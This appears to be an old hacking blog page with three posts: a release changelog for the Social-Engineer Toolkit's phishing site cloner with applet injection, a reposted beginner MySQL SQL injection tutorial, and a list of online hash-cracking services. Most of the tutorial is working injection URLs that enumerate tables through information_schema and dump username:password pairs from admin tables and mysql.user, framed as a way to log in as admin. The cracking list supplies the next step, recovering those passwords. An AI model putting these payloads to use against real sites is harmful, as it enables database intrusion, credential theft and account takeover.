menu

Monday, 12 December 2011

The Social-Engineer Toolkit (SET) v2.5 “Rippin and Tearin” has been released!

The Social-Engineer Toolkit (SET) v2.5 Codename: “Rippin and Tearin” has been released! This version is primarily enhancements of existing attack vectors and a rehaul of some portions of the codebase. Most noticeably, the site cloner has been modified to target the body tags first for the applet injection versus the header html tags. This allows the website to render properly first, then trigger the applet. In addition, fixes around the Java Repeater have been fixed.

Changelog below:

~~~~~~~~~~~~~~~~
version 2.5
~~~~~~~~~~~~~~~~

* rehaul of site cloner, it now injects into body properly and leverages unc, redirection, and others properly
* redid a few options on repeater.database, unc.database to make more streamline
* fixed bugs with java repeater
* added more granularity around how repeater operates and functions when on different webpages
* added ability to inject into tags first and if not found then it injects into tags
* added ability to render even when flag is being used versus
* added more stability to the Java Applet.jar and backup routine for redirect to websites
* bug fix in website cloner
* rewrote portions of java applet to gain more stability around java repeater as a fallback
* added better handling around unc database and fixed a bug when in the wrong loop within cloner.py
* established a baseline fallback for java applet

Download : http://www.secmaniac.com

M.O.R.E >> "The Social-Engineer Toolkit (SET) v2.5 “Rippin and Tearin” has been released!"

SQL Injection Tutorial by ro0t3r (MySQL) - Basic

 Source :
SQL Injection Tutorial by ro0t3r (MySQL)

In this tutorial i will describe how sql injection works and how to
use it to get some useful information.


First of all: What is SQL injection?

It's one of the most common vulnerability in web applications today.
It allows attacker to execute database query in url and gain access
to some confidential information etc...(in shortly).


1.SQL Injection (classic or error based or whatever you call it) Very Happy

2.Blind SQL Injection (the harder part)


So let's start with some action Very Happy


1). Check for vulnerability

Let's say that we have some site like this

Code:
http://www.site.com/news.php?id=5


Now to test if is vulrnable we add to the end of url ' (quote),

and that would be

Code:
http://www.site.com/news.php?id=5'


so if we get some error like
"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..."
or something similar

that means is vulrnable to sql injection Smile

2). Find the number of columns

To find number of columns we use statement ORDER BY (tells database how to order the result)

so how to use it? Well just incrementing the number until we get an error.


Code:
http://www.site.com/news.php?id=5 order by 1/* <-- no error



Code:
http://www.site.com/news.php?id=5 order by 2/* <-- no error



Code:
http://www.site.com/news.php?id=5 order by 3/* <-- no error



Code:
http://www.site.com/news.php?id=5 order by 4/* <-- error
(we get message like this Unknown column '4' in 'order clause' or something like that)

that means that the it has 3 columns, cause we got an error on 4.

3). Check for UNION function

With union we can select more data in one sql statement.

so we have


Code:
http://www.site.com/news.php?id=5 union all select 1,2,3/*
(we already found that number of columns are 3 in section 2). )

if we see some numbers on screen, i.e 1 or 2 or 3 then the UNION works Smile

4). Check for MySQL version


Code:
http://www.site.com/news.php?id=5 union all select 1,2,3/*
NOTE: if /* not working or you get some error, then try --
it's a comment and it's important for our query to work properly.

let say that we have number 2 on the screen, now to check for version
we replace the number 2 with @@version or version() and get someting like 4.1.33-log or 5.0.45 or similar.

it should look like this

Code:
http://www.site.com/news.php?id=5 union all select 1,@@version,3/*


if you get an error "union + illegal mix of collations (IMPLICIT + COERCIBLE) ..."

i didn't see any paper covering this problem, so i must write it Smile

what we need is convert() function

i.e.


Code:
http://www.site.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/*


or with hex() and unhex()

i.e.


Code:
http://www.site.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*

and you will get MySQL version Very Happy

5). Getting table and column name

well if the MySQL version is < 5 (i.e 4.1.33, 4.1.12...) <--- later i will describe for MySQL > 5 version.
we must guess table and column name in most cases.

common table names are: user/s, admin/s, member/s ...

common column names are: username, user, usr, user_name, password, pass, passwd, pwd etc...

i.e would be


Code:
http://www.site.com/news.php?id=5 union all select 1,2,3 from admin/*
(we see number 2 on the screen like before, and that's good Very Happy)

we know that table admin exists...

now to check column names.



Code:
http://www.site.com/news.php?id=5 union all select 1,username,3 from admin/*
(if you get an error, then try the other column name)

we get username displayed on screen, example would be admin, or superadmin etc...

now to check if column password exists


Code:
http://www.site.com/news.php?id=5 union all select 1,password,3 from admin/*
(if you get an error, then try the other column name)

we seen password on the screen in hash or plain-text, it depends of how the database is set up Smile

i.e md5 hash, mysql hash, sha1...

now we must complete query to look nice Smile

for that we can use concat() function (it joins strings)

i.e


Code:
http://www.site.com/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from admin/*


Note that i put 0x3a, its hex value for : (so 0x3a is hex value for colon)

(there is another way for that, char(58), ascii value for : )



Code:
http://www.site.com/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/*

now we get dislayed username:password on screen, i.e admin:admin or admin:somehash

when you have this, you can login like admin or some superuser Very Happy

if can't guess the right table name, you can always try mysql.user (default)

it has user i password columns, so example would be


Code:
http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user/*


6). MySQL 5

Like i said before i'm gonna explain how to get table and column names
in MySQL > 5.

For this we need information_schema. It holds all tables and columns in database.

to get tables we use table_name and information_schema.tables.

i.e


Code:
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/*


here we replace the our number 2 with table_name to get the first table from information_schema.tables

displayed on the screen. Now we must add LIMIT to the end of query to list out all tables.

i.e


Code:
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1/*


note that i put 0,1 (get 1 result starting from the 0th)

now to view the second table, we change limit 0,1 to limit 1,1

i.e


Code:
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 1,1/*


the second table is displayed.

for third table we put limit 2,1

i.e


Code:
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 2,1/*


keep incrementing until you get some useful like db_admin, poll_user, auth, auth_user etc... Very Happy

To get the column names the method is the same.

here we use column_name and information_schema.columns

the method is same as above so example would be



Code:
http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1/*


the first column is diplayed.

the second one (we change limit 0,1 to limit 1,1)

ie.



Code:
http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 1,1/*


the second column is displayed, so keep incrementing until you get something like

username,user,login, password, pass, passwd etc... Very Happy

if you wanna display column names for specific table use this query. (where clause)

let's say that we found table users.

i.e


Code:
http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name='users'/*


now we get displayed column name in table users. Just using LIMIT we can list all columns in table users.

Note that this won't work if the magic quotes is ON.

let's say that we found colums user, pass and email.

now to complete query to put them all together Very Happy

for that we use concat() , i decribe it earlier.

i.e



Code:
http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,pass,0x3a,email) from users/*


what we get here is user:pass:email from table users.

example: admin:hash:whatever@blabla.com


That's all in this part, now we can proceed on harder part on next tutorial:)
M.O.R.E >> "SQL Injection Tutorial by ro0t3r (MySQL) - Basic"

MD5 Cracker Web List

Just wanna share with you guys. A list of web/services for cracking a md5 hash.
Check it out. r0x d4 n3tw0rk

- md5gle.com

- online md5 cracker,md5 reverse, md5 decrypt (457,354,352,282)

- md5Crack.com | online md5 cracker

- [ md5 crack password crack hash checker ]

- md5cracker.tk (MD5 Search engine by searches a total of 14 on-line crackers.)

- Index of / (5,889,729)

- AP3 Designs

- http://md5-db.com (The database is approximately 70gb)

- md5.rednoize.com - reverse engineer md5 hashes - powered by rednoize.com (56,502,235)

- GData: An Online MD5 Hash Database (3,251,106)

- TMTO[dot]ORG (306.000.000.000)

- milw0rm.com - free md5/lm hash cracking (Milw0rm Cracker db)

- BlackLight's hash cracker (2,456,288)

- .:Shell-Storm.org:. | DataBase MD5 | ( The data base currently contains 169582 passwords )

- Parallels Confixx (Need Account)

- Passwords recovery - MD5, SHA1, MySQL (Register to increase your priority)

- md5ÔÚÏß²éѯÆƽâ|md5½âÃÜ|md5¼ÓÃÜ|salt

- Hashkiller.com

- plain-text.info

- insidepro.com

- md5decrypter.co.uk

- c0llision.net

- md5pass.info

- hashcrack.com

- generuj.pl

- authsecu.com

- md5decryption.com

- chwett.com/md5

- md5this.com

- tmto.org

- kerinci.net

- hash.db.hk

- crackfor.me

- md5hood.com

- neofusion.de

- md5.shalla.de

- md5.my-addr.com

- hashcracking.info <-- API: https://hashcracking.info/check.php?hash= {hash}

- md5.opencracking.info

- md5online.net

- macrosoftware.ro/md5

- netmd5crack.com

- bokehman.com

- hash-database.net

- thoran.eu

- md5-database.net

- web-security-services.com

- bitdelivery.net



-----------------------------------------------------------------
CRACKED PASSWORD LIST
-----------------------------------------------------------------
www.md5oogle.com
[ md5 crack password crack hash checker ]
milw0rm.com - free md5/lm hash cracking
darkc0de.com [ index ]

-----------------------------------------------------------------
MULTI
-----------------------------------------------------------------
md5cracker.org
md5.igrkio.info
hashkiller.com
hashchecker.de
sinhalayo159.07x.net


-----------------------------------------------------------------
IRC
-----------------------------------------------------------------
plain-text.info (irc.Plain-Text.info #rainbowcrack |||| irc.rizon.net #rainbowcrack)
md5.overclock.ch (irc.rizon.net #md5)
c0llision.net (irc.after-all.org #md5crack |||| ircd.hopto.org #md5crack)



-----------------------------------------------------------------
ICQ
-----------------------------------------------------------------
c0llision.net (427-921-047) <- md5, ntlm
hashkiller.com (405-701-776) <- md5



-----------------------------------------------------------------
LM
-----------------------------------------------------------------
lmcrack.com
plain-text.info


-----------------------------------------------------------------
NTLM
-----------------------------------------------------------------
plain-text.info
md5decrypter.co.uk


-----------------------------------------------------------------
SHA1
-----------------------------------------------------------------
md5.rednoize.com
hash.db.hk
md5decrypter.co.uk


-----------------------------------------------------------------
SHA256
-----------------------------------------------------------------
md5.shalla.de
hash.db.hk


-----------------------------------------------------------------
RAINBOW TABLE
-----------------------------------------------------------------
Free Rainbow Tables » Distributed Rainbow Cracking » LM, NTLM, MD5, SHA1, HALFLMCHALL, MSCACHE
Rainbow Tables . net
M.O.R.E >> "MD5 Cracker Web List"